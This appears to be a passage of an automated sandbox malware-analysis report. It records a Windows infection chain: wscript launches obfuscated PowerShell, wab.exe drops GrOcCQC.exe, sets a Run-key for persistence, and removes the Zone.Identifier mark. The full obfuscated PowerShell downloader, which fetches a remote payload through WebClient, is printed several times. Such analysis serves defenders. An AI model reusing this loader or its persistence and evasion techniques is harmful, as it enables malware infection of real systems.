.wK.n.el,roChagld.a&Fristd.e=Ac1N,T uTaX o3InpKaGRoV .QOmO Mu AYReuD.NOv0UnPMoVFifA.0s.S ,1PrvChuSaO,eoK.v,uPV,ZVacE 7Ar6PhtUd5 ';$Bourre=Immatrikulationens 's,>I ';$Gnier111=Immatrikulationens 'FriSke Ix ';$Hoodwinked='Fiskeflaaderne';$Parastades = Immatrikulationens ' FeGacF,h Fo,r .l%K.a epAlpSpdJiaOutPeaU,%,l\FrBMoe ol YlAteT rKiiPacUn7C.4 F.G,AB,f RsEk Fo&St&K, HeCyc DhKloCo U.t n ';Influerende (Immatrikulationens 'Ti$ExgAllIdoHubbea Klsa: .CDehJeaHecSpoCun Nn FeGur Us J1 S7A,2.v=Be(CacCamMadS Si/TucEx Co$P.PTwaSirDeas.s,ft AaAedReeKosPe),r ');Influerende (Immatrikulationens 'Sn$S.g OlCuoFobTuanolL :KrHKoyBag .iDieI,jUnnSke uk Oo amVemEksMii oo .nUbeDenUdsW,= T$DeRJae.jd Ee .sBiiIngOpn,saYat riSonFeg T.C.s.vpB.lGei StUn(Fa$ UB o Au.tr FrByeP.) ');Influerende (Immatrikulationens ' T[ IN ieUrtPs.P S,beRer Iv .iTicReeDuPPlo iiAfno,tLiMS,aLin Ta hg MeKorDi]no:Fi: SPre,gcS,uTir iUnt,eyAmPBrrCeo etTroUscstoSvl E ,o= T I [AnNDreUnt.k.F SDeeWecTuu .r.hi ,t,myAtP.tr SoHitFooM,cDuo lUnT.uy ApSle r] l:s.: ,TOflsmsPa1Un2 A ');$Redesignating=$Hygiejnekommsionens[0];$Fangstbaaden190= (Immatrikulationens 'Am$,igUnlhaoEqbKla.al,e:.lKcooSun ,sFoe rk MvTeec,nL,tHjePosOs=.mNFieOpwS -W,O ab .jBleIncDetCa thS PyResAntTee .mMu.EpN KeP.t a.S,WSoe,ebOvC .lFaiKbeA.nLkt');$Fangstbaaden190+=$Chaconners172[1];Influerende ($Fangstbaaden190);Influerende (Immatrikulationens 'Ar$ToKFooKvnOvsK.edok,	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds';If (${host}.CurrentCulture) {$Smaastykker++;}Function Immatrikulationens($Marios){$Syntomy=$Marios.Length-$Smaastykker;$Pronenesses='SUBsTRI';$Pronenesses+='ng';For( $Dipsomaniacs=2;$Dipsomaniacs -lt $Syntomy;$Dipsomaniacs+=3){$Nugacities+=$Marios.$Pronenesses.Invoke( $Dipsomaniacs, $Smaastykker);}$Nugacities;}function Influerende($Svippedes){ . ($Gnier111) ($Svippedes);}$Sclaffs=Immatrikulationens 'HuMN,oGazHuiKal,elBeaDa/p,5La.Fr0Ru He(A WPuiCun UdKuo .wSls l .N sTEp Li1 B0Fy.P,0.y;I. .eWCaiB,nS,6Di4Te;Vi Bx,o6E.4,i;No BurUlvGl:Un1Co2Sy1D.. U0 n)Sw IGSceV c.hkCyoNo/ C2Ch0cu1tr0di0Ko1Dr0Pe1Li AwF.ni drAreOrfT.oSixCo/R 1 2Re1 J.So0.a ';$Dissers=Immatrikulationens 'G U Es ne .r,e-IdA agEmeS,nSttso ';$Redesignating=Immatrikulationens ' RhAft CtBepS sKu:Va/ P/ .datrUdiF,vOveSa. UgTaoSko,eg UlSoeCa.Syc Uo emVe/,euBecKr?D,eCoxI,p Ko ,r StIn=,edIro .wK.n.el,roChagld.a&Fristd.e=Ac1N,T uTaX o3InpKaGRoV .QOmO Mu AYReuD.NOv0UnPMoVFifA.0s.S ,1PrvChuSaO,eoK.v,uPV,ZVacE 7Ar6PhtUd5 ';$Bourre=Immatrikulationens 's,>I ';$Gnier111=Immatrikulationens 'FriSke Ix ';$Hoodwinked='Fiskeflaaderne';$Parastades = Immatrikulationens ' FeGacF,h Fo,r .l%K.a epAlpSpdJiaOutPeaU,%,l\FrBMoe ol YlAteT rKiiPacUn7C.4 F.G,AB,f RsEk Fo&St&K, HeCyc DhKloCo U.t n ';Influerende (Immatrikulationens 'Ti$ExgAllIdoHubbea Klsa: .CDehJeaHecSpoCun Nn FeGur Us J1 S7A,2.v=Be(CacCamMadS Si/TucEx Co$P.PTwaSirDeas.s,ft AaAedReeKosPe),r ');Influerende (Immatrikulationens 'Sn$S.g OlCuoFobTuanolL :KrHKoyBag .iDieI,jUnnSke uk Oo amVemEksMii oo .nUbeDenUdsW,= T$DeRJae.jd Ee .sBiiIngOpn,saYat riSonFeg T.C.s.vpB.lGei StUn(Fa$ UB o Au.tr FrByeP.) ');Influerende (Immatrikulationens ' T[ IN ieUrtPs.P S,beRer Iv .iTicReeDuPPlo iiAfno,tLiMS,aLin Ta hg MeKorDi]no:Fi: SPre,gcS,uTir iUnt,eyAmPBrrCeo etTroUscstoSvl E ,o= T I [AnNDreUnt.k.F SDeeWecTuu .r.hi ,t,myAtP.tr SoHitFooM,cDuo lUnT.uy ApSle r] l:s.: ,TOflsmsPa1Un2 A ');$Redesignating=$Hygiejnekommsionens[0];$Fangstbaaden190= (Immatrikulationens 'Am$,igUnlhaoEqbKla.al,e:.lKcooSun ,sFoe rk MvTeec,nL,tHjePosOs=.mNFieOpwS -W,O ab .jBleIncDetCa thS PyResAntTee .mMu.EpN KeP.t a.S,WSoe,ebOvC .lFaiKbeA.nLkt');$Fangstbaaden190+=$Chaconners172[1];Influerende ($Fangstbaaden190);Influerende (Immatrikulationens 'Ar$ToKFooKvnOvsK.edok,
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds';If (${host}.CurrentCulture) {$Smaastykker++;}Function Immatrikulationens($Marios){$Syntomy=$Marios.Length-$Smaastykker;$Pronenesses='SUBsTRI';$Pronenesses+='ng';For( $Dipsomaniacs=2;$Dipsomaniacs -lt $Syntomy;$Dipsomaniacs+=3){$Nugacities+=$Marios.$Pronenesses.Invoke( $Dipsomaniacs, $Smaastykker);}$Nugacities;}function Influerende($Svippedes){ . ($Gnier111) ($Svippedes);}$Sclaffs=Immatrikulationens 'HuMN,oGazHuiKal,elBeaDa/p,5La.Fr0Ru He(A WPuiCun UdKuo .wSls l .N sTEp Li1 B0Fy.P,0.y;I. .eWCaiB,nS,6Di4Te;Vi Bx,o6E.4,i;No BurUlvGl:Un1Co2Sy1D.. U0 n)Sw IGSceV c.hkCyoNo/ C2Ch0cu1tr0di0Ko1Dr0Pe1Li AwF.ni drAreOrfT.oSixCo/R 1 2Re1 J.So0.a ';$Dissers=Immatrikulationens 'G U Es ne .r,e-IdA agEmeS,nSttso ';$Redesignating=Immatrikulationens ' RhAft CtBepS sKu:Va/ P/ .datrUdiF,vOveSa. UgTaoSko,eg UlSoeCa.Syc Uo emVe/,euBecKr?D,eCoxI,p Ko ,r StIn=,edIro .wK.n.el,roChagld.a&Fristd.e=Ac1N,T uTaX o3InpKaGRoV .QOmO Mu AYReuD.NOv0UnPMoVFifA.0s.S ,1PrvChuSaO,eoK.v,uPV,ZVacE 7Ar6PhtUd5 ';$Bourre=Immatrikulationens 's,>I ';$Gnier111=Immatrikulationens 'FriSke Ix ';$Hoodwinked='Fiskeflaaderne';$Parastades = Immatrikulationens ' FeGacF,h Fo,r .l%K.a epAlpSpdJiaOutPeaU,%,l\FrBMoe ol YlAteT rKiiPacUn7C.4 F.G,AB,f RsEk Fo&St&K, HeCyc DhKloCo U.t n ';Influerende (Immatrikulationens 'Ti$ExgAllIdoHubbea Klsa: .CDehJeaHecSpoCun Nn FeGur Us J1 S7A,2.v=Be(CacCamMadS Si/TucEx Co$P.PTwaSirDeas.s,ft AaAedReeKosPe),r ');Influerende (Immatrikulationens 'Sn$S.g OlCuoFobTuanolL :KrHKoyBag .iDieI,jUnnSke uk Oo amVemEksMii oo .nUbeDenUdsW,= T$DeRJae.jd Ee .sBiiIngOpn,saYat riSonFeg T.C.s.vpB.lGei StUn(Fa$ UB o Au.tr FrByeP.) ');Influerende (Immatrikulationens ' T[ IN ieUrtPs.P S,beRer Iv .iTicReeDuPPlo iiAfno,tLiMS,aLin Ta hg MeKorDi]no:Fi: SPre,gcS,uTir iUnt,eyAmPBrrCeo etTroUscstoSvl E ,o= T I [AnNDreUnt.k.F SDeeWecTuu .r.hi ,t,myAtP.tr SoHitFooM,cDuo lUnT.uy ApSle r] l:s.: ,TOflsmsPa1Un2 A ');$Redesignating=$Hygiejnekommsionens[0];$Fangstbaaden190= (Immatrikulationens 'Am$,igUnlhaoEqbKla.al,e:.lKcooSun ,sFoe rk MvTeec,nL,tHjePosOs=.mNFieOpwS -W,O ab .jBleIncDetCa thS PyResAntTee .mMu.EpN KeP.t a.S,WSoe,ebOvC .lFaiKbeA.nLkt');$Fangstbaaden190+=$Chaconners172[1];Influerende ($Fangstbaaden190);Influerende (Immatrikulationens 'Ar$ToKFooKvnOvsK.edok,
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds';If (${host}.CurrentCulture) {$Smaastykker++;}Function Immatrikulationens($Marios){$Syntomy=$Marios.Length-$Smaastykker;$Pronenesses='SUBsTRI';$Pronenesses+='ng';For( $Dipsomaniacs=2;$Dipsomaniacs -lt $Syntomy;$Dipsomaniacs+=3){$Nugacities+=$Marios.$Pronenesses.Invoke( $Dipsomaniacs, $Smaastykker);}$Nugacities;}function Influerende($Svippedes){ . ($Gnier111) ($Svippedes);}$Sclaffs=Immatrikulationens 'HuMN,oGazHuiKal,elBeaDa/p,5La.Fr0Ru He(A WPuiCun UdKuo .wSls l .N sTEp Li1 B0Fy.P,0.y;I. .eWCaiB,nS,6Di4Te;Vi Bx,o6E.4,i;No BurUlvGl:Un1Co2Sy1D.. U0 n)Sw IGSceV c.hkCyoNo/ C2Ch0cu1tr0di0Ko1Dr0Pe1Li AwF.ni drAreOrfT.oSixCo/R 1 2Re1 J.So0.a ';$Dissers=Immatrikulationens 'G U Es ne .r,e-IdA agEmeS,nSttso ';$Redesignating=Immatrikulationens ' RhAft CtBepS sKu:Va/ P/ .datrUdiF,vOveSa. UgTaoSko,eg UlSoeCa.Syc Uo emVe/,euBecKr?D,eCoxI,p Ko ,r StIn=,edIro .wK.n.el,roChagld.a&Fristd.e=Ac1N,T uTaX o3InpKaGRoV .QOmO Mu AYReuD.NOv0UnPMoVFifA.0s.S ,1PrvChuSaO,eoK.v,uPV,ZVacE 7Ar6PhtUd5 ';$Bourre=Immatrikulationens 's,>I ';$Gnier111=Immatrikulationens 'FriSke Ix ';$Hoodwinked='Fiskeflaaderne';$Parastades = Immatrikulationens ' FeGacF,h Fo,r .l%K.a epAlpSpdJiaOutPeaU,%,l\FrBMoe ol YlAteT rKiiPacUn7C.4 F.G,AB,f RsEk Fo&St&K, HeCyc DhKloCo U.t n ';Influerende (Immatrikulationens 'Ti$ExgAllIdoHubbea Klsa: .CDehJeaHecSpoCun Nn FeGur Us J1 S7A,2.v=Be(CacCamMadS Si/TucEx Co$P.PTwaSirDeas.s,ft AaAedReeKosPe),r ');Influerende (Immatrikulationens 'Sn$S.g OlCuoFobTuanolL :KrHKoyBag .iDieI,jUnnSke uk Oo amVemEksMii oo .nUbeDenUdsW,= T$DeRJae.jd Ee .sBiiIngOpn,saYat riSonFeg T.C.s.vpB.lGei StUn(Fa$ UB o Au.tr FrByeP.) ');Influerende (Immatrikulationens ' T[ IN ieUrtPs.P S,beRer Iv .iTicReeDuPPlo iiAfno,tLiMS,aLin Ta hg MeKorDi]no:Fi: SPre,gcS,uTir iUnt,eyAmPBrrCeo etTroUscstoSvl E ,o= T I [AnNDreUnt.k.F SDeeWecTuu .r.hi ,t,myAtP.tr SoHitFooM,cDuo lUnT.uy ApSle r] l:s.: ,TOflsmsPa1Un2 A ');$Redesignating=$Hygiejnekommsionens[0];$Fangstbaaden190= (Immatrikulationens 'Am$,igUnlhaoEqbKla.al,e:.lKcooSun ,sFoe rk MvTeec,nL,tHjePosOs=.mNFieOpwS -W,O ab .jBleIncDetCa thS PyResAntTee .mMu.EpN KeP.t a.S,WSoe,ebOvC .lFaiKbeA.nLkt');$Fangstbaaden190+=$Chaconners172[1];Influerende ($Fangstbaaden190);Influerende (Immatrikulationens 'Ar$ToKFooKvnOvsK.edok,	Jump to behavior

Source: GrOcCQC.exe.15.dr

Static PE information: 0x853858FE [Sun Oct 28 18:42:06 2040 UTC]

Source: GrOcCQC.exe.15.dr

Static PE information: section name: .didat

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FFE57817E38 push eax; retf	9_2_00007FFE57817E41
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FFE578100BD pushad ; iretd	9_2_00007FFE578100C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FFE578E2E8D push eax; retf	9_2_00007FFE578E2E8E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_046B93A5 push eax; retf	13_2_046B93A9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_07591FC8 push eax; mov dword ptr [esp], ecx	13_2_075921B4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_08B044E9 push 8BD38B50h; iretd	13_2_08B044EF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_08B0427E push 8BD68B50h; iretd	13_2_08B04291
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_08B01B3B push FFFFFFE8h; iretd	13_2_08B01B3D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_08B04748 push 8BD38B50h; iretd	13_2_08B0474E
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Code function: 16_2_007E13F8 pushfd ; retf	16_2_007E13F9
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Code function: 16_2_007E376D push ecx; ret	16_2_007E3780

Source: C:\Program Files (x86)\Windows Mail\wab.exe

File created: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe

Jump to dropped file

Source: C:\Program Files (x86)\Windows Mail\wab.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run GrOcCQC			Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run GrOcCQC			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Program Files (x86)\Windows Mail\wab.exe

File opened: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
